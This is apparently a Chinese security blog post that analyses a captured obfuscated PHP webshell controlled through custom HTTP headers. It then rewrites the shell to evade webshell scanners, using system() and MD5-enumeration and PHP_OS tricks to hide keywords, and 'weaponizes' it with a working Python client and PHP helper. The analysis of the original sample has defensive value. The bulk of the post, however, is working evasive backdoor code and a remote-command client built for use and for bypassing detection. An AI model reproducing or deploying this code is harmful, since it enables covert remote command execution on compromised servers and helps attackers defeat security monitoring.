首先可以先配一个PHP环境,这样省的以后写代码还得启动个PHPStudy了
选择到php.exe
版本自选,我这里用最新的7.3.4
之后就可以直接点击浏览器图标直接访问这个PHP了
启动一个phpinfo
,并把内容直接复制,粘贴到https://xdebug.org/wizard.php这里
会自动解析PHP版本,并提供合适的dll供你下载
复制到你PHP某个版本的ext
文件夹下
并在PHP.ini后添加:
[XDebug] zend_extension = "D:\phpstudy_pro\Extensions\php\php7.3.4nts\ext\php_xdebug-3.1.5-7.3-vc15-nts-x86_64.dll" xdebug.profiler_append = 0 xdebug.profiler_enable = 1 xdebug.profiler_enable_trigger = 0 xdebug.profiler_output_dir = "D:\phpstudy_pro\Extensions\php\php7.3.4nts\tmp" xdebug.profiler_output_name = "cachegrind.out.%t-%s" xdebug.remote_enable = 1 xdebug.remote_handler = "dbgp" xdebug.remote_mode = "req" xdebug.remote_port = 9000
设备抓到了这个Webshell,我们也来分析分析,这个webshell该怎么用。
首先说一下,前面有点这个标题党,实际上似乎用不到调试,就能分析完成。
源代码如下:
xxxxxxxxxx
<?php
session_start();function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return$r;
}
if (isset($_SERVER["HTTP_TOKEN"])) {
$t=substr(md5(rand()),16);
$_SESSION['token']=$t;
header('Token:'.$_SESSION['token']);
} else {
if(!isset($_SESSION['token'])) {
return;
}
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
$e = 'TYOG'^'1/.+';
class E {
public function __construct($p) {
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";
$e = $c($p);
/*108*/
eval//108
/*108*/
(null.$e."");
}
}
@new E(set_token($v, $_SESSION['token']));
}
一时间还是有点蒙逼的,粗略上看出来应该是做了代码混淆+部分加密来完成的。
首先肯定是去掉那些恶心人的异或:
可以用echo xxx
来完成:
xxxxxxxxxx
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de'; //base64_decode
$e = 'TYOG'^'1/.+'; //eval
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e";//base64_decode
echo $b."<br>".$e."<br>".$c;
即可获得这些东西的真实面目
之后我们需要看一下,到底是用什么东西在传参。
Webshell总是需要一个可以传参的点,打眼一看,似乎就只有:$_SERVER["HTTP_TOKEN"]
$_SERVER['HTTP_X_CSRF_TOKEN']
可以接受外部的参数。我们一个函数一个函数的看。
先分析$_SERVER["HTTP_TOKEN"]
在这里都干了什么:
xxxxxxxxxx
if (isset($_SERVER["HTTP_TOKEN"])) { //如果存在Token这个Header头
$t=substr(md5(rand()),16); //把这个随机数MD5加密并取16位
$_SESSION['token']=$t; //将SESSION中的token设置为上面那个截取了16位的MD5的值
header('Token:'.$_SESSION['token']); //最后设置header头的Token为SESSION里Token的值
} else {
if(!isset($_SESSION['token'])) { //如果SESSION中没有Token
return; //结束
}
在一开始分析的时候,没看到这个header('Token:'.$_SESSION['token'])
导致一直不知道一个随机出来的东西,该怎么传入一个固定的加密的值(如果不理解这句话,可以看加密函数那里的分析)
这个header('Token:'.$_SESSION['token'])
会将生成的Token展示在Header的Token位置,此时你将获取生成好的截取了16位的MD5。
当我们已经了Token之后,就迎来了真正的传参处。因为上文已经分析了,只是说请求包里存在Token,那么这个Webshell会自动生成一个Token,所以实际上这个传参的具体并无大碍。
那只剩下这个可以获取外部的参数了,我们来看看这个请求头又做了什么呢?
这里拿出处理$v
的片段:
xxxxxxxxxx
$v=$_SERVER['HTTP_X_CSRF_TOKEN']; //获取请求头中X-CSRF-Token的值
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';//注意这是$b.追加了,实际上这个$b就是base64_decode
$v=$b($v.""); //base64_decode解密$v的值,因此我们至少可以分析出,$v一定是要经过base64_encode()之后的结果
至此,我们至少分析出传参的位置是X-CSRF-Token了,传递的参数至少要经过base64_encode()
的结果
最后就是激动人心的代码执行部分:
xxxxxxxxxx
class E {
public function __construct($p) {
$c=('ZSLQWR'^'82?4af')."_d"."eco".chr(108-8)."e"; //base64_decode()
$e = $c($p);//解密$p
/*108*/
eval//108
/*108*/
(null.$e.""); //代码执行$p
}
}
没什么难度,还是老一套这个异或加密。
xxxxxxxxxx
@new E(set_token($v, $_SESSION['token']));
new一个E对象出来,传递的$p
为set_token函数处理后的结果,也就是说,最终我们需要看一下这个函数set_function
xxxxxxxxxx
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return$r;
}
首先,我并没有先试图分析这个加密的具体流程究竟是什么,而是先弄清传递的两个东西,都是些什么:
$v:
用户可控的参数
$_SESSION['token']
:随机生成的
我直接随机生成了个值,然后随便传递了个123
进去,再用返回的值代替$v的值,结果返回123.这证明一件事:加密与解密同逻辑。
加密:
解密:
所以不需要我们专门写一个与之对应的解密函数,只需要调用这个就行了。
首先请求包里携带Token:
返回包会返回服务端生成的Token和COOKIE
接着把这个Token
放到刚才写好的脚本当中,生成命令:
请求包中,将COOKIE填充,删除Token这个头部,并添加X-CSRF-Token
成功!
本次Webshell我觉得对方是想利用Token与X-CSRF-Token这种字母数字组合的头部来规避掉流量设备,可以说是非常精彩的一种思路,但是不足之处是我感觉X-CSRF-Token应该不会出现=
这种的东西吧...其次就是能否利用第一次设置Token的时候,将一些东西传入进来,使传入进来的参数与现有的构成完整的一个代码。这样可能会阻止安全设备的拦截。第三就是在代码层次上尝试解决X-CSRF-Token不出现=的情况,应该来说不难实现...。
PHP的base64_decode()函数,去掉
=
也不会有任何问题,因此可以直接去掉这个特征=
经过上面的总结后,我们开始解决其中提到的一些问题
我在这里不得不提一些问题:
1、为什么不拼接eval
2、为什么不使用assert
我先回答第二个问题:php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
也就是说,他不能在通过拼接等方式来动态调用
了
接着我们来说一下为什么eval
不能拼接,实际上答案就在php.net里写明
我们继续深入,什么是可变函数
可变函数即变量名加括号,PHP系统会尝试解析成函数,如果有当前变量中的值为命名的函数,就会调用。如果没有就报错。 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require eval() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
这样的特性让我们无法再去动态调用eval,但是这也给网站安全人员带来了新的挑战:
由于php的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。
好了,说了这么多前置知识,你应该了解为什么我选择使用system
来改写了。
使用system进行规避,但需要对system进行改写
首先运用到上面提到的将第一次传递的Token利用起来:
接受Token:
xxxxxxxxxx
$_SESSION['default']=$_SERVER["HTTP_TOKEN"];
写一个利用的方法:
xxxxxxxxxx
function findStr($z){
for($i=0;$i<26;$i++){
$zz=substr(md5(chr(94+$i)),0,16); //把每个字母的ASCII码进行MD5加密后截取前16位
if($zz===$z){ //如果跟所需字母的MD5的前十六位相同
$r=chr(94+$i);
}
}
return $r; //返回要找的字母
}
其实算法很简单,通过枚举来"解密"MD5
通过这个,我们可以找到字母s
(这里传递s是因为system存在两个s比较方便重复利用)
接着我们开始找y
的表达,通过异想天开的想法,我发现了一个非常"有意思"的事情,Linux
和Windows
的中间两位居然是相同的,这意味着我们可以通过这个手法来凑出想要的关键字
xxxxxxxxxx
$platform=ord(strtolower(substr(PHP_OS,1,1))); // i
$OS=ord(strtolower(substr(PHP_OS,2,1)));// n
$x=findStr($_SESSION['default']).chr($platform+16).findStr($_SESSION['default']).chr($OS+6).chr($OS-9).chr($OS-1);
异或是亮点吗?我觉得不一定。现在很多的Agent,你只要Unicode编码,甭管是正常业务还是webshell流量规避,统统按照后门给你告警。所以,尽量规避掉这些看似花里胡哨,实则存在巨大问题的东西。
我们可以把base64_decode给他通过外部传参进去:
xxxxxxxxxx
$b= set_token(hex2bin($_SERVER['HTTP_TIMESTAMP']),$_SESSION['token']);
preg_match('/(\w)*e/',$b,$m); //hex出来的会存在乱码的情况,所以需要匹配提取。
16进制传递进去,但不知道为什么,hex解密后base64_decode
居然会出现一些奇奇怪怪的字符,所以得正则提取一下...
在原先不变的情况下,Token需要传递:03c7c0ace395d801
之后根据返回的Token生成需要的命令和对应的base64_decode这俩
xxxxxxxxxx
<?php
$t="46bb43f0ccae1a55";
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return$r;
}
echo base64_encode(set_token(base64_encode("whoami"),$t))."<br>";
echo bin2hex(set_token("base64_decode",$t))."<br>";
发包:
没找到什么好的名称,回来再找找,争取继续规避。
最后看一眼Webshell查杀效果:
原版:
结果并不意外,毕竟还是存在eval这种高危的函数,外加接收外部参数及异或加密。叠的debuff实在太多了
二开:
还是那句话,化繁为简,别玩那些眼花缭乱的操作,最后只会把原本能过的webshell变得过不了,那可就真的可惜了。
完成了上面的免杀改写操作以后,对应的需要我们进行最后一步的操作:武器化
于是我使用python+PHP来完成(主要懒得转写那个加密函数了)
PHP端:
xxxxxxxxxx
<?php
$t=$_GET['t'];
$cmd=$_GET['cmd'];
$base=$_GET['base'];
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return$r;
}
if(isset($t)){
echo base64_encode(set_token(base64_encode($cmd),$t))."<br>";
echo bin2hex(set_token("base64_decode",$t))."<br>";
}
if (isset($base)){
echo base64_decode($base);
}
python
xxxxxxxxxx
import requests
import sys
headers={"Token":"03c7c0ace395d801"}
r=requests.get("http://127.0.0.1/log.php",headers=headers)#webshell地址
Token=r.headers['Token']
Cookie=r.headers['Set-Cookie']
cmd=sys.argv[1]
c=requests.get("http://127.0.0.1/demo7.php?t={}&cmd={}".format(Token,cmd))#本地PHP地址
res=c.text.split("<br>")
cmd_encode=res[0]
base64_decode=res[1]
hea={"Cookie":Cookie,"X-CSRF-Token":cmd_encode,"TIMESTAMP":base64_decode}
shell=requests.get("http://127.0.0.1/log.php",headers=hea)
Text=requests.get("http://127.0.0.1/demo7.php?base={}".format(shell.headers['Token']))
print(Text.text)
最后成果:
本文分析了捕获的Webshell是如何连接的,并对捕获的Webshell进行改写,以通过webshell引擎的检测,最后对复杂的连接过程使用python进行武器化编写,完整的完成了整套流程。